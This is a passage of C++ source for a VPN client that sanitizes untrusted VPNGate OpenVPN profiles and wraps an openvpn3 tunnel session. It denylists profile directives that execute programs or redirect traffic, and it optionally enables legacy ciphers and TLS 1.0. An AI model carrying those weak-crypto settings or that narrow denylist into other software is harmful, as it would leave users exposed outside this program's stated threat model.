++i;
const size_t start = i;
while (i < line.size() && !std::isspace(static_cast<unsigned char>(line[i])))
++i;
if (i > start) tok.push_back(line.substr(start, i - start));
}
return tok;
}
// A profile is text. Anything that is not printable, tab, CR or LF means we are
// looking at binary garbage (a truncated base64 decode, say), and passing it to
// an option parser is not something to do hopefully.
bool looks_like_text(const std::string &s, size_t *bad_offset) {
for (size_t i = 0; i < s.size(); ++i) {
const unsigned char c = static_cast<unsigned char>(s[i]);
if (c == '\t' || c == '\r' || c == '\n') continue;
if (c < 0x20 || c == 0x7f) {
*bad_offset = i;
return false;
}
}
return true;
}
} // namespace
bool is_denied_directive(std::string_view name) {
return denied().count(name) > 0;
}
bool is_kept_inline_block(std::string_view tag) {
return kept_blocks().count(tag) > 0;
}
bool sanitize_profile(const std::string &raw, const SanitizeOptions &opt,
SanitizedProfile *out, std::string *err) {
*out = SanitizedProfile{};
if (raw.empty()) {
if (err) *err = "empty profile";
return false;
}
if (raw.size() > opt.max_bytes) {
if (err)
*err = fmt::format("profile is {} bytes, limit is {}", raw.size(),
opt.max_bytes);
return false;
}
size_t bad = 0;
if (!looks_like_text(raw, &bad)) {
if (err)
*err = fmt::format("profile contains a control byte at offset {}", bad);
return false;
}
std::set<std::string> dropped;
std::string body;
body.reserve(raw.size());
bool in_block = false;
bool block_kept = false;
std::string block_tag;
size_t line_no = 0;
const std::string_view rv(raw);
size_t pos = 0;
while (pos <= rv.size()) {
const size_t nl = rv.find('\n', pos);
std::string_view line = rv.substr(
pos, nl == std::string_view::npos ? std::string_view::npos : nl - pos);
pos = (nl == std::string_view::npos) ? rv.size() + 1 : nl + 1;
if (++line_no > opt.max_lines) {
if (err) *err = fmt::format("profile exceeds {} lines", opt.max_lines);
return false;
}
const std::string_view t = trim(line);
if (in_block) {
if (t.size() > 3 && t.rfind("</", 0) == 0 && t.back() == '>' &&
lower(t.substr(2, t.size() - 3)) == block_tag) {
if (block_kept) body.append("</").append(block_tag).append(">\n");
in_block = false;
block_kept = false;
block_tag.clear();
} else if (block_kept) {
// Payload lines pass through untouched apart from surrounding
// whitespace (a stray CR would otherwise land inside the PEM). No
// comment stripping: '#' is a legal byte in base64-adjacent data.
body.append(t);
body.push_back('\n');
}
continue;
}
if (t.empty() || t.front() == '#' || t.front() == ';') continue;
// Opening inline block?
if (t.front() == '<' && t.back() == '>' && t.rfind("</", 0) != 0) {
block_tag = lower(t.substr(1, t.size() - 2));
if (block_tag.empty()) continue;
in_block = true;
block_kept = is_kept_inline_block(block_tag);
if (block_kept) {
if (block_tag == "ca") out->has_ca = true;
if (block_tag == "cert" || block_tag == "pkcs12")
out->has_client_cert = true;
body.append("<").append(block_tag).append(">\n");
} else {
dropped.insert("<" + block_tag + ">");
}
continue;
}
const auto tok = tokenize(t);
if (tok.empty()) continue;
const std::string name = lower(tok[0]);
if (name == "dev" && tok.size() >= 2 &&
lower(tok[1]).rfind("tap", 0) == 0) {
// Layer 2 would hand us Ethernet frames; lwIP is wired up for layer 3
// and nothing downstream knows what to do with an ARP request. Rejecting
// here gives a clear reason instead of a confusing failure at tun setup.
if (err) *err = "profile requests a TAP (layer 2) device; only TUN is supported";
return false;
}
if (name == "ca" || name == "cert" || name == "key" ||
name == "pkcs12" || name == "tls-auth" || name == "tls-crypt" ||
name == "secret" || name == "dh" || name == "crl-verify" ||
name == "extra-certs") {
// File-reference form. We have no file to point at -- the profile
// arrived over HTTP as one blob -- so this cannot be honoured, and
// silently keeping it would make openvpn3 try to open a path.
dropped.insert(name + " (file reference)");
continue;
}
if (name == "auth-user-pass") {
// Credentials come from provide_creds(), never from a file on disk.
out->wants_userpass = true;
if (tok.size() >= 2) dropped.insert("auth-user-pass (file reference)");
body.append("auth-user-pass\n");
continue;
}
if (name == "peer-fingerprint") {
out->has_ca = true; // an alternative to a CA, and a stronger one
body.append(t);
body.push_back('\n');
continue;
}
if (!opt.allow_compression &&
(name == "comp-lzo" || name == "compress" || name == "comp-noadapt")) {
dropped.insert(name);
continue;
}
if (is_denied_directive(name)) {
dropped.insert(name);
continue;
}
if (regenerated().count(name)) continue;
body.append(t);
body.push_back('\n');
}
if (in_block) {
if (err) *err = "unterminated inline <" + block_tag + "> block";
return false;
}
// Which remote do we dial? The pinned one if the selector gave us one,
// otherwise whatever the profile declared (parsed by the same code the node
// list uses, so the two can never disagree).
if (opt.pin_remote) {
out->remotes.push_back(*opt.pin_remote);
} else {
out->remotes = vpngate::extract_remotes(raw);
}
if (out->remotes.empty()) {
if (err) *err = "profile declares no usable remote";
return false;
}
if (!out->has_ca) {
if (err) *err = "profile has neither an inline <ca> nor a peer-fingerprint";
return false;
}
const int verb = std::clamp(opt.verb, 0, 6);
std::string head;
head.reserve(256 + body.size());
head += "# sanitized by openvpngate -- see src/ovpn/profile_sanitizer.cpp\n";
head += "client\n";
head += "dev tun\n";
head += "nobind\n";
// No persist-key / resolv-retry / persist-tun here even though a hand-written
// client profile would carry them: openvpn3 does all three unconditionally
// and reports anything it did not consume as "Unsupported option (ignored)".
// Emitting them would put three warning lines in the log on every single
// connection, which is how logs stop being read.
head += fmt::format("verb {}\n", verb);
for (const auto &r : out->remotes) {
head += fmt::format("remote {} {} {}\n", r.host, r.port,
vpngate::proto_name(r.proto));
}
// A global proto as well: some option paths in the core consult it before
// the per-remote value, and the two agreeing costs nothing.
head += fmt::format("proto {}\n", vpngate::proto_name(out->remotes.front().proto));
out->text = head + body;
out->dropped.assign(dropped.begin(), dropped.end());
return true;
}
} // namespace ovg::ovpn
+69
View File
@@ -0,0 +1,69 @@
// Rewrites a VPNGate .ovpn profile into something we are willing to feed to
// openvpn3.
//
// The profiles come from the last column of a public, unauthenticated API and
// are authored by anonymous volunteers. Two separate problems follow from that:
//
// 1. Safety. An OpenVPN profile is a small programming language: `up`, `down`,
// `tls-verify`, `plugin` and friends name programs to execute, and
// `http-proxy` / `socks-proxy` redirect our transport somewhere of the
// profile's choosing. openvpn3 implements none of the script hooks, so
// today most of these are inert -- but "inert in the version we happen to
// link" is not a security property. They are stripped here so the guarantee
// holds regardless of what the core does with them tomorrow.
//
// 2. Determinism. The selector scores one specific remote. If the profile is
// passed through untouched, the core is free to pick any remote it lists,
// in any order, and the node we measured is not necessarily the node we
// connect to. Pinning the remote makes the measurement mean something.
//
// Everything else is kept verbatim. A denylist rather than an allowlist is
// deliberate: an allowlist would break the first time a volunteer's server
// pushed a directive we had not thought of, and the hazards here are a small,
// enumerable set.
#pragma once
#include <string>
#include <string_view>
#include <vector>
#include "vpngate/node.h"
namespace ovg::ovpn {
struct SanitizeOptions {
// The remote the selector chose. All remote/proto/port directives in the
// input are replaced by this one. Null keeps whatever the profile declares
// (used by the unit tests and by anyone connecting to a hand-written file).
const vpngate::Remote *pin_remote = nullptr;
bool allow_compression = true;
int verb = 3;
// Guards against a pathological or hostile row. A real profile is 3-8 KB.
size_t max_bytes = 512 * 1024;
size_t max_lines = 20000;
};
struct SanitizedProfile {
std::string text;
// Directive names removed, deduplicated and sorted. Logged once per
// connection: a name appearing here that we expected to keep is the first
// sign that a profile is doing something out of the ordinary.
std::vector<std::string> dropped;
std::vector<vpngate::Remote> remotes;
bool has_ca = false;
bool has_client_cert = false;
bool wants_userpass = false; // profile carries auth-user-pass
};
bool sanitize_profile(const std::string &raw, const SanitizeOptions &opt,
SanitizedProfile *out, std::string *err);
// Exposed for testing.
bool is_denied_directive(std::string_view name);
bool is_kept_inline_block(std::string_view tag);
} // namespace ovg::ovpn
+755
View File
@@ -0,0 +1,755 @@
#include "ovpn/tunnel_client.h"
#include <chrono>
#include <utility>
#include <fmt/format.h>
#include "common/logging.h"
#include "common/metrics.h"
#include "ovpn/profile_sanitizer.h"
#if OVG_WITH_TUNNEL
#include <client/ovpncli.hpp>
#endif
namespace ovg::ovpn {
namespace {
constexpr const char *kMod = "ovpn";
constexpr const char *kCoreMod = "ovpn3";
// A pushed route list is not load-bearing for us -- every packet goes to the
// tunnel netif regardless -- so we keep a bounded sample for the admin
// endpoint and let the rest go.
constexpr size_t kMaxCapturedRoutes = 64;
metrics::Counter *starts() {
static auto *c = metrics::counter("ovg_tunnel_starts_total",
"OpenVPN sessions started");
return c;
}
metrics::Counter *ups() {
static auto *c = metrics::counter("ovg_tunnel_up_total",
"OpenVPN sessions that reached CONNECTED");
return c;
}
metrics::Counter *failures() {
static auto *c = metrics::counter(
"ovg_tunnel_failures_total",
"OpenVPN sessions that ended without ever reaching CONNECTED");
return c;
}
#if OVG_WITH_TUNNEL
metrics::Counter *reconnects() {
static auto *c = metrics::counter("ovg_tunnel_reconnects_total",
"In-session reconnects reported by the core");
return c;
}
#endif
metrics::Gauge *active() {
static auto *g = metrics::gauge("ovg_tunnels_active",
"OpenVPN sessions currently up");
return g;
}
} // namespace
const char *tunnel_state_name(TunnelState s) {
switch (s) {
case TunnelState::Idle: return "idle";
case TunnelState::Connecting: return "connecting";
case TunnelState::Up: return "up";
case TunnelState::Reconnecting: return "reconnecting";
case TunnelState::Down: return "down";
}
return "?";
}
// ---------------------------------------------------------------------------
// Impl: everything that touches openvpn3.
// ---------------------------------------------------------------------------
#if OVG_WITH_TUNNEL
class TunnelClient::Impl : public openvpn::ClientAPI::OpenVPNClient {
public:
Impl(std::weak_ptr<TunnelClient> owner, PacketPipe *pipe, OvpnConfig cfg,
std::string node_id)
: owner_(std::move(owner)),
pipe_(pipe),
cfg_(std::move(cfg)),
node_id_(std::move(node_id)) {}
// Worker thread body.
void run(openvpn::ClientAPI::Config cc);
// Safe from any thread, before or after connect() is running.
void request_stop() {
stop_requested_.store(true, std::memory_order_relaxed);
if (connecting_.load(std::memory_order_acquire)) stop();
}
TunnelCounters counters() const;
bool ever_up() const { return ever_up_.load(std::memory_order_relaxed); }
// --- TunBuilderBase -----------------------------------------------------
bool tun_builder_new() override;
bool tun_builder_set_layer(int layer) override;
bool tun_builder_set_remote_address(const std::string &address,
bool ipv6) override;
bool tun_builder_add_address(const std::string &address, int prefix_length,
const std::string &gateway, bool ipv6,
bool net30) override;
bool tun_builder_reroute_gw(bool ipv4, bool ipv6, unsigned int flags) override;
bool tun_builder_add_route(const std::string &address, int prefix_length,
int metric, bool ipv6) override;
bool tun_builder_exclude_route(const std::string &address, int prefix_length,
int metric, bool ipv6) override;
bool tun_builder_set_dns_options(const openvpn::DnsOptions &dns) override;
bool tun_builder_set_mtu(int mtu) override;
bool tun_builder_set_session_name(const std::string &name) override;
bool tun_builder_add_proxy_bypass(const std::string &host) override;
bool tun_builder_set_proxy_auto_config_url(const std::string &url) override;
bool tun_builder_set_proxy_http(const std::string &host, int port) override;
bool tun_builder_set_proxy_https(const std::string &host, int port) override;
bool tun_builder_add_wins_server(const std::string &address) override;
bool tun_builder_set_route_metric_default(int metric) override { return true; }
bool tun_builder_set_allow_family(int af, bool allow) override { return true; }
bool tun_builder_set_allow_local_dns(bool allow) override { return true; }
int tun_builder_establish() override;
bool tun_builder_persist() override { return true; }
void tun_builder_establish_lite() override;
void tun_builder_teardown(bool disconnect) override;
std::vector<std::string> tun_builder_get_local_networks(bool ipv6) override {
return {};
}
// --- OpenVPNClient ------------------------------------------------------
void event(const openvpn::ClientAPI::Event &ev) override;
void acc_event(const openvpn::ClientAPI::AppCustomControlMessageEvent &ev)
override;
void log(const openvpn::ClientAPI::LogInfo &li) override;
void external_pki_cert_request(
openvpn::ClientAPI::ExternalPKICertRequest &req) override;
void external_pki_sign_request(
openvpn::ClientAPI::ExternalPKISignRequest &req) override;
// We would rather fail over to one of the ninety-odd other nodes than sit
// in PAUSE on a server that has stopped answering.
bool pause_on_connection_timeout() override { return false; }
// Nothing to protect. The classic reason for this callback is that the
// client rewrites the host routing table, so the transport socket to the VPN
// server would otherwise route back into the tunnel it is carrying. We never
// touch host routing -- the tunnel lives entirely in this process -- so the
// kernel routes this socket like any other and no loop is possible.
bool socket_protect(openvpn_io::detail::socket_type socket, std::string remote,
bool ipv6) override {
return true;
}
private:
void emit(TunnelState s, std::string detail, bool with_info);
std::weak_ptr<TunnelClient> owner_;
PacketPipe *pipe_;
OvpnConfig cfg_;
std::string node_id_;
mutable std::mutex mu_; // guards pending_
TunnelInfo pending_;
int establish_count_ = 0;
size_t route_count_ = 0;
std::atomic<bool> stop_requested_{false};
std::atomic<bool> connecting_{false};
std::atomic<bool> ever_up_{false};
};
void TunnelClient::Impl::emit(TunnelState s, std::string detail,
bool with_info) {
TunnelInfo snapshot;
if (with_info) {
std::lock_guard lk(mu_);
snapshot = pending_;
}
if (auto owner = owner_.lock())
owner->post_state(s, std::move(snapshot), std::move(detail));
}
void TunnelClient::Impl::run(openvpn::ClientAPI::Config cc) {
using openvpn::ClientAPI::EvalConfig;
using openvpn::ClientAPI::ProvideCreds;
using openvpn::ClientAPI::Status;
try {
const EvalConfig eval = eval_config(cc);
if (eval.error) {
emit(TunnelState::Down, "profile rejected: " + eval.message, false);
return;
}
LOG_DEBUG(kMod, "{}: profile ok, remote={}:{}/{} autologin={}", node_id_,
eval.remoteHost, eval.remotePort, eval.remoteProto,
eval.autologin);
if (!eval.autologin) {
// Most VPNGate profiles carry the shared client certificate and need no
// credentials at all; the ones that do accept anything, and the operator
// can override the pair in [ovpn] if some node ever gets picky.
ProvideCreds creds;
creds.username = cfg_.username;
creds.password = cfg_.password;
const Status cs = provide_creds(creds);
if (cs.error) {
emit(TunnelState::Down, "credentials rejected: " + cs.message, false);
return;
}
}
if (stop_requested_.load(std::memory_order_relaxed)) {
emit(TunnelState::Down, "stopped before connect", false);
return;
}
connecting_.store(true, std::memory_order_release);
if (stop_requested_.load(std::memory_order_relaxed)) stop();
const Status st = connect(); // blocks for the life of the session
std::string why;
if (st.error)
why = st.status.empty() ? st.message : st.status + ": " + st.message;
else
why = "session ended";
emit(TunnelState::Down, std::move(why), false);
} catch (const std::exception &e) {
emit(TunnelState::Down, std::string("openvpn3 threw: ") + e.what(), false);
} catch (...) {
emit(TunnelState::Down, "openvpn3 threw a non-standard exception", false);
}
}
TunnelCounters TunnelClient::Impl::counters() const {
TunnelCounters c;
if (!connecting_.load(std::memory_order_acquire)) return c;
try {
const auto ts = transport_stats();
const auto is = tun_stats();
c.transport_bytes_in = ts.bytesIn;
c.transport_bytes_out = ts.bytesOut;
c.tun_bytes_in = is.bytesIn;
c.tun_bytes_out = is.bytesOut;
// The core counts in "binary milliseconds" (1/1024 s); convert so callers
// are not quietly 2.4% out when they compare against a wall-clock budget.
c.last_packet_received_ms =
ts.lastPacketReceived < 0
? -1
: static_cast<int>((static_cast<int64_t>(ts.lastPacketReceived) *
1000) / 1024);
c.valid = true;
} catch (const std::exception &e) {
LOG_DEBUG(kMod, "{}: stats unavailable: {}", node_id_, e.what());
}
return c;
}
bool TunnelClient::Impl::tun_builder_new() {
std::lock_guard lk(mu_);
pending_ = TunnelInfo{};
route_count_ = 0;
return true;
}
bool TunnelClient::Impl::tun_builder_set_layer(int layer) {
if (layer != 3) {
LOG_WARN(kMod, "{}: server wants OSI layer {}; only layer 3 is supported",
node_id_, layer);
return false;
}
return true;
}
bool TunnelClient::Impl::tun_builder_set_remote_address(
const std::string &address, bool ipv6) {
std::lock_guard lk(mu_);
pending_.server_ip = address;
return true;
}
bool TunnelClient::Impl::tun_builder_add_address(const std::string &address,
int prefix_length,
const std::string &gateway,
bool ipv6, bool net30) {
std::lock_guard lk(mu_);
if (ipv6) {
pending_.ipv6 = address;
pending_.prefix6 = prefix_length;
} else {
pending_.ipv4 = address;
pending_.prefix4 = prefix_length;
pending_.gateway4 = gateway;
}
return true;
}
bool TunnelClient::Impl::tun_builder_reroute_gw(bool ipv4, bool ipv6,
unsigned int flags) {
std::lock_guard lk(mu_);
pending_.redirect_gateway = ipv4 || ipv6;
return true;
}
bool TunnelClient::Impl::tun_builder_add_route(const std::string &address,
int prefix_length, int metric,
bool ipv6) {
std::lock_guard lk(mu_);
if (++route_count_ <= kMaxCapturedRoutes)
pending_.routes.push_back(address + "/" + std::to_string(prefix_length));
return true;
}
bool TunnelClient::Impl::tun_builder_exclude_route(const std::string &address,
int prefix_length,
int metric, bool ipv6) {
// There is no host routing table for an excluded route to be excluded from:
// every packet the netstack produces goes to the tunnel by construction.
return true;
}
bool TunnelClient::Impl::tun_builder_set_dns_options(
const openvpn::DnsOptions &dns) {
std::lock_guard lk(mu_);
pending_.dns.clear();
// std::map<int, DnsServer> keyed by priority, so iteration is already in the
// order the server intended.
for (const auto &[priority, server] : dns.servers) {
for (const auto &a : server.addresses) {
if (!a.address.empty()) pending_.dns.push_back(a.address);
}
}
return true;
}
bool TunnelClient::Impl::tun_builder_set_mtu(int mtu) {
std::lock_guard lk(mu_);
if (mtu <= 0 || static_cast<size_t>(mtu) > kMaxPacketSize) {
// Not fatal -- the default is workable, and refusing here would throw away
// an otherwise fine node over one bad pushed option.
LOG_WARN(kMod, "{}: server pushed MTU {}, outside [1, {}]; keeping {}",
node_id_, mtu, kMaxPacketSize, pending_.mtu);
return true;
}
pending_.mtu = mtu;
return true;
}
bool TunnelClient::Impl::tun_builder_set_session_name(const std::string &name) {
std::lock_guard lk(mu_);
pending_.session_name = name;
return true;
}
bool TunnelClient::Impl::tun_builder_add_proxy_bypass(const std::string &host) {
return true; // no system proxy to bypass
}
bool TunnelClient::Impl::tun_builder_set_proxy_auto_config_url(
const std::string &url) {
// Returning false here would abort the connection over a setting we simply
// do not implement, so it is ignored -- but loudly, because a server pushing
// a PAC file is asking to see our plaintext HTTP.
LOG_WARN(kMod, "{}: ignoring pushed proxy auto-config URL {}", node_id_, url);
return true;
}
bool TunnelClient::Impl::tun_builder_set_proxy_http(const std::string &host,
int port) {
LOG_WARN(kMod, "{}: ignoring pushed HTTP proxy {}:{}", node_id_, host, port);
return true;
}
bool TunnelClient::Impl::tun_builder_set_proxy_https(const std::string &host,
int port) {
LOG_WARN(kMod, "{}: ignoring pushed HTTPS proxy {}:{}", node_id_, host, port);
return true;
}
bool TunnelClient::Impl::tun_builder_add_wins_server(
const std::string &address) {
return true; // Windows name resolution; nothing here consumes it
}
int TunnelClient::Impl::tun_builder_establish() {
if (++establish_count_ > 1) {
// The core only re-establishes when the pushed tunnel configuration has
// changed -- a different address, prefix or MTU. Every lwIP PCB behind
// this pipe is bound to the old address, so there is nothing to salvage
// even if we handed over a fresh socketpair: the netstack would have to be
// rebuilt anyway. Failing here turns that into an ordinary node failure
// that the egress layer already knows how to handle (make-before-break to
// a freshly built tunnel), instead of a half-migrated stack.
LOG_WARN(kMod,
"{}: openvpn3 asked for a second tun descriptor (pushed config "
"changed); ending the session so the egress layer rebuilds it",
node_id_);
return -1;
}
const int fd = pipe_->release_peer_fd();
if (fd < 0) {
LOG_ERROR(kMod, "{}: packet pipe has no descriptor to hand over", node_id_);
return -1;
}
LOG_DEBUG(kMod, "{}: handed tun fd {} to openvpn3", node_id_, fd);
return fd;
}
void TunnelClient::Impl::tun_builder_establish_lite() {
LOG_INFO(kMod, "{}: reconnected with the tun kept in place", node_id_);
}
void TunnelClient::Impl::tun_builder_teardown(bool disconnect) {
LOG_DEBUG(kMod, "{}: tun teardown (disconnect={})", node_id_, disconnect);
}
void TunnelClient::Impl::event(const openvpn::ClientAPI::Event &ev) {
if (ev.error)
LOG_WARN(kCoreMod, "{}: {}{}{}{}", node_id_, ev.fatal ? "fatal " : "",
ev.name, ev.info.empty() ? "" : ": ", ev.info);
else
LOG_DEBUG(kCoreMod, "{}: {}{}{}", node_id_, ev.name,
ev.info.empty() ? "" : " ", ev.info);
if (ev.name == "CONNECTED") {
const auto ci = connection_info();
{
std::lock_guard lk(mu_);
if (pending_.server_ip.empty()) pending_.server_ip = ci.serverIp;
if (pending_.session_name.empty()) pending_.session_name = ci.tunName;
}
ever_up_.store(true, std::memory_order_relaxed);
emit(TunnelState::Up, "", true);
return;
}
if (ev.name == "RECONNECTING") {
reconnects()->inc();
emit(TunnelState::Reconnecting, ev.info, false);
return;
}
if (ev.fatal) {
emit(TunnelState::Down,
ev.info.empty() ? ev.name : ev.name + ": " + ev.info, false);
}
// DISCONNECTED is not special-cased: connect() is about to return and run()
// posts the terminal state with the full status attached.
}
void TunnelClient::Impl::acc_event(
const openvpn::ClientAPI::AppCustomControlMessageEvent &ev) {
LOG_DEBUG(kCoreMod, "{}: app control message on {} ({} bytes)", node_id_,
ev.protocol, ev.payload.size());
}
void TunnelClient::Impl::log(const openvpn::ClientAPI::LogInfo &li) {
std::string_view s(li.text);
while (!s.empty() && (s.back() == '\n' || s.back() == '\r'))
s.remove_suffix(1);
if (!s.empty()) LOG_DEBUG(kCoreMod, "{}", s);
}
void TunnelClient::Impl::external_pki_cert_request(
openvpn::ClientAPI::ExternalPKICertRequest &req) {
req.error = true;
req.errorText = "external PKI is not supported: profiles must carry an "
"inline <cert>/<key>";
}
void TunnelClient::Impl::external_pki_sign_request(
openvpn::ClientAPI::ExternalPKISignRequest &req) {
req.error = true;
req.errorText = "external PKI is not supported";
}
bool TunnelClient::supported() { return true; }
bool TunnelClient::launch(std::string *err) {
openvpn::ClientAPI::Config cc;
cc.content = profile_;
cc.guiVersion = "openvpngate 0.1.0";
// Fail the whole attempt rather than retrying forever: with a list of
// ninety-odd nodes, moving on beats waiting.
cc.connTimeout = cfg_.connect_timeout_s;
// Keeps the tun fd -- and so the netstack and every session behind it --
// alive across ping-restart reconnects inside one session.
cc.tunPersist = true;
cc.googleDnsFallback = true;
cc.autologinSessions = true;
cc.retryOnAuthFailed = false;
cc.dco = false; // kernel data-channel offload needs root and a module
cc.allowLocalLanAccess = true;
cc.synchronousDnsLookup = false;
cc.clockTickMS = 0;
cc.info = true;
cc.echo = false;
cc.sslDebugLevel = 0;
// "asym" means the server may compress what it sends us but we never
// compress what we send. Compressing attacker-influenced plaintext next to
// secrets is what made VORACLE work; this keeps the interop win without it.
cc.compressionMode = cfg_.compression ? "asym" : "no";
// VPNGate is a wall of AES-128-CBC + SHA1 with occasional 1024-bit RSA. The
// modern defaults reject all of it, so without these the node list is
// effectively empty. See docs/FEASIBILITY.md 2.4: the tunnel is treated as
// an untrusted transport regardless of cipher, because the operator on the
// far end is an anonymous volunteer who can see the plaintext either way.
cc.enableNonPreferredDCAlgorithms = true;
cc.enableLegacyAlgorithms = cfg_.allow_legacy_algorithms;
if (cfg_.allow_legacy_algorithms) {
cc.tlsCertProfileOverride = "legacy";
cc.tlsVersionMinOverride = "tls_1_0";
}
impl_ = std::make_unique<Impl>(weak_from_this(), &pipe_, cfg_, node_id_);
std::weak_ptr<TunnelClient> weak = weak_from_this();
Impl *impl = impl_.get();
try {
worker_ = std::thread([weak, impl, cc = std::move(cc)]() mutable {
impl->run(std::move(cc));
// Last thing the thread does: tell the owner it is safe to join.
if (auto self = weak.lock()) self->post_worker_finished();
});
} catch (const std::system_error &e) {
impl_.reset();
if (err) *err = std::string("cannot start openvpn worker thread: ") + e.what();
return false;
}
return true;
}
#else // !OVG_WITH_TUNNEL
// Placeholder so the class layout, the link graph and every caller stay
// identical between the two builds. Only start() behaves differently.
class TunnelClient::Impl {
public:
void request_stop() {}
TunnelCounters counters() const { return {}; }
bool ever_up() const { return false; }
};
bool TunnelClient::supported() { return false; }
bool TunnelClient::launch(std::string *err) {
if (err)
*err = "this build has no openvpn3 linked in (-DOVG_WITH_TUNNEL=OFF); "
"only egress_mode=direct works";
return false;
}
#endif // OVG_WITH_TUNNEL
// ---------------------------------------------------------------------------
// TunnelClient: the io_context-facing half, identical in both builds.
// ---------------------------------------------------------------------------
std::shared_ptr<TunnelClient> TunnelClient::create(asio::io_context &io,
OvpnConfig cfg) {
return std::shared_ptr<TunnelClient>(new TunnelClient(io, std::move(cfg)));
}
TunnelClient::TunnelClient(asio::io_context &io, OvpnConfig cfg)
: io_(io), cfg_(std::move(cfg)), pipe_(io), up_timer_(io) {}
TunnelClient::~TunnelClient() {
if (impl_) impl_->request_stop();
if (worker_.joinable()) {
if (worker_.get_id() == std::this_thread::get_id()) {
// Only reachable if someone let the last reference die inside an
// openvpn3 callback. Joining would deadlock, so leak deliberately and
// say so: a leaked thread is recoverable, a self-join is not.
LOG_ERROR(kMod, "{}: destroyed from its own worker thread; leaking it",
node_id_);
worker_.detach();
(void)impl_.release();
return;
}
worker_.join();
}
}
bool TunnelClient::start(const vpngate::Node &node,
const vpngate::Remote &remote, StateHandler on_state,
std::string *err) {
{
std::lock_guard lk(mu_);
if (state_ != TunnelState::Idle) {
if (err) *err = "tunnel client already started";
return false;
}
}
node_id_ = node.id();
remote_ = remote;
SanitizeOptions so;
so.pin_remote = &remote;
so.allow_compression = cfg_.compression;
SanitizedProfile sp;
if (!sanitize_profile(node.profile, so, &sp, err)) {
if (err) *err = node_id_ + ": " + *err;
return false;
}
profile_ = std::move(sp.text);
if (!sp.dropped.empty()) {
LOG_DEBUG(kMod, "{}: dropped {} directive(s) from the profile: {}",
node_id_, sp.dropped.size(), fmt::join(sp.dropped, ", "));
}
if (!sp.has_client_cert) {
LOG_DEBUG(kMod, "{}: profile has no client certificate; expecting "
"username/password auth", node_id_);
}
if (!pipe_.open(cfg_.packet_socket_buffer, err)) {
if (err) *err = node_id_ + ": " + *err;
return false;
}
{
std::lock_guard lk(mu_);
on_state_ = std::move(on_state);
state_ = TunnelState::Connecting;
}
if (!launch(err)) {
pipe_.close();
std::lock_guard lk(mu_);
state_ = TunnelState::Idle;
on_state_ = nullptr;
return false;
}
starts()->inc();
LOG_INFO(kMod, "{}: connecting to {}:{}/{}", node_id_, remote.host,
remote.port, vpngate::proto_name(remote.proto));
arm_up_timer();
return true;
}
void TunnelClient::stop(std::function<void()> on_stopped) {
bool already_done = false;
{
std::lock_guard lk(mu_);
already_done = worker_finished_;
if (!already_done && on_stopped) on_stopped_ = std::move(on_stopped);
}
cancel_up_timer();
if (already_done) {
if (on_stopped) asio::post(io_, std::move(on_stopped));
return;
}
if (impl_) impl_->request_stop();
}
TunnelState TunnelClient::state() const {
std::lock_guard lk(mu_);
return state_;
}
TunnelInfo TunnelClient::info() const {
std::lock_guard lk(mu_);
return info_;
}
TunnelCounters TunnelClient::counters() const {
if (!impl_) return {};
return impl_->counters();
}
void TunnelClient::post_state(TunnelState s, TunnelInfo info,
std::string detail) {
{
std::lock_guard lk(mu_);
if (terminal_seen_) return; // Down is final; later noise is dropped
if (s == TunnelState::Down) terminal_seen_ = true;
if (state_ == TunnelState::Up && s != TunnelState::Up) active()->sub(1);
if (state_ != TunnelState::Up && s == TunnelState::Up) active()->add(1);
state_ = s;
if (s == TunnelState::Up) info_ = info;
}
auto self = shared_from_this();
asio::post(io_, [self, s, info = std::move(info),
detail = std::move(detail)]() mutable {
if (s == TunnelState::Up || s == TunnelState::Down) self->cancel_up_timer();
switch (s) {
case TunnelState::Up:
ups()->inc();
LOG_INFO(kMod, "{}: up -- {}/{} via {}, mtu {}, dns [{}]",
self->node_id_, info.ipv4, info.prefix4, info.server_ip,
info.mtu, fmt::join(info.dns, ", "));
break;
case TunnelState::Reconnecting:
LOG_WARN(kMod, "{}: reconnecting{}{}", self->node_id_,
detail.empty() ? "" : " -- ", detail);
break;
case TunnelState::Down: {
const bool never_up = !(self->impl_ && self->impl_->ever_up());
if (never_up) failures()->inc();
LOG_INFO(kMod, "{}: down -- {}", self->node_id_, detail);
break;
}
default:
break;
}
StateHandler h;
{
std::lock_guard lk(self->mu_);
h = self->on_state_;
}
if (h) h(s, info, detail);
});
}
void TunnelClient::post_worker_finished() {
std::function<void()> cb;
{
std::lock_guard lk(mu_);
worker_finished_ = true;
cb.swap(on_stopped_);
}
auto self = shared_from_this();
asio::post(io_, [self, cb = std::move(cb)] {
if (cb) cb();
});
}
void TunnelClient::arm_up_timer() {
if (cfg_.tunnel_up_timeout_s <= 0) return;
up_timer_.expires_after(std::chrono::seconds(cfg_.tunnel_up_timeout_s));
auto self = shared_from_this();
up_timer_.async_wait([self](const std::error_code &ec) {
if (ec) return; // cancelled: we came up, or we are already down
// openvpn3's own connTimeout covers the transport handshake, but a server
// can complete that and then never push a tunnel config. This is the
// backstop for that case.
self->post_state(
TunnelState::Down, TunnelInfo{},
fmt::format("no tunnel after {}s", self->cfg_.tunnel_up_timeout_s));
self->stop();
});
}
void TunnelClient::cancel_up_timer() { up_timer_.cancel(); }
} // namespace ovg::ovpn
+159
View File
@@ -0,0 +1,159 @@
// One OpenVPN session, wrapped so the rest of the program never sees openvpn3.
//
// Threading. ClientAPI::OpenVPNClient::connect() blocks until the session ends
// and makes all of its callbacks -- events, logs, every tun_builder_* call --
// from the thread that called it. So each TunnelClient owns exactly one worker
// thread, and every observable effect is marshalled back onto the io_context
// the object was constructed with. Callers only ever see io_context threads.
//
// Lifetime. Always hold a TunnelClient through the shared_ptr that create()
// returns, and prefer stop(on_stopped) to simply dropping the last reference:
// the destructor has to join the worker, and joining from inside an io_context
// handler stalls that thread for as long as openvpn3 takes to unwind.
//
// The tun. The session's tun descriptor is one end of a socketpair (see
// packet_pipe.h). It is created before the worker starts, so pipe() is valid
// from the moment start() returns true -- the netstack can attach its read
// loop immediately and does not have to race the CONNECTED event.
#pragma once
#include <asio.hpp>
#include <cstdint>
#include <functional>
#include <memory>
#include <mutex>
#include <string>
#include <thread>
#include <vector>
#include "common/config.h"
#include "ovpn/packet_pipe.h"
#include "vpngate/node.h"
namespace ovg::ovpn {
enum class TunnelState {
Idle, // constructed, start() not called (or it failed)
Connecting, // worker running, no tunnel yet
Up, // server pushed a config; packets can flow
Reconnecting, // transient loss; the tun fd survives (tunPersist)
Down, // finished for good -- `detail` says why
};
const char *tunnel_state_name(TunnelState s);
// What the server pushed. Everything the netstack needs to bring up a netif,
// and nothing it does not.
struct TunnelInfo {
std::string ipv4;
int prefix4 = 0;
std::string gateway4;
std::string ipv6;
